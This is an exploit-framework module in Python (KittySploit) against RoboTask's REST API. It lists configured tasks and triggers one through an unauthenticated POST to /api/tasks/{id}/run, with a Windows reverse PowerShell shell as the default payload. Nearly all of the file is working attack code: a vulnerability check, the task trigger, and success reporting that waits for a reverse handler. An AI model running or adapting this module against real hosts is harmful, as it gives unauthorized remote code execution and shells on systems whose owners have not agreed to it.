RoboTask REST API unauthenticated task execution

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""RoboTask REST API unauthenticated remote task execution (CWE-306)."""

from __future__ import annotations

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "RoboTask REST API unauthenticated task execution",
        "description": (
            "RoboTask REST API (default port 9999) with RestUseApiKeys=0 accepts "
            "unauthenticated POST /api/tasks/{id}/run and executes preconfigured "
            "task actions with the RoboTask service privilege."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.WINDOWS,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/windows/reverse_powershell",
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["robotask", "rce", "unauth", "rest"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/robotask_unauth_task_rce_detect"],
            },
        },
    }

    port = OptPort(9999, "RoboTask REST API port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=False)
    task_id = OptString("", "Task UUID to run (empty = first listed task)", required=False)

    def _list_tasks(self) -> list[dict]:
        resp = self.http_request("GET", "/api/tasks", headers={"Accept": "application/json"})
        if not resp or int(resp.status_code or 0) != 200:
            return []
        try:
            data = resp.json()
        except Exception:
            return []
        tasks = data.get("data") if isinstance(data, dict) else None
        return tasks if isinstance(tasks, list) else []

    def execute(self, cmd: str) -> str:
        del cmd  # task content is preconfigured on the server
        tasks = self._list_tasks()
        tid = str(self.task_id or "").strip()
        if not tid:
            tid = str((tasks[0] or {}).get("id") or "") if tasks else ""
        if not tid:
            return "no tasks available"
        resp = self.http_request(
            "POST",
            f"/api/tasks/{tid}/run",
            json={"params": {}},
            headers={"Content-Type": "application/json", "Accept": "application/json"},
        )
        if not resp:
            return "request failed"
        body = resp.text or ""
        return f"HTTP {resp.status_code}\n{body[:4000]}"

    def check(self):
        resp = self.http_request("GET", "/api/", headers={"Accept": "application/json"})
        if resp and int(resp.status_code or 0) == 200:
            return {
                "vulnerable": True,
                "reason": "RoboTask REST API reachable without API key",
                "confidence": "medium",
            }
        return {
            "vulnerable": False,
            "reason": "REST API not reachable (RestIsEnabled or firewall?)",
            "confidence": "low",
        }

    def run(self):
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_status("Triggering unauthenticated task run")
        out = self.execute("")
        print_info(out[:8000])
        if "REST API Server" in out or "HTTP 200" in out:
            print_success("Task run accepted — waiting for reverse handler if payload is in task action")
            self.vulnerable()
            return True

        print_error("Task trigger did not succeed")
        self.not_vulnerable()
        return False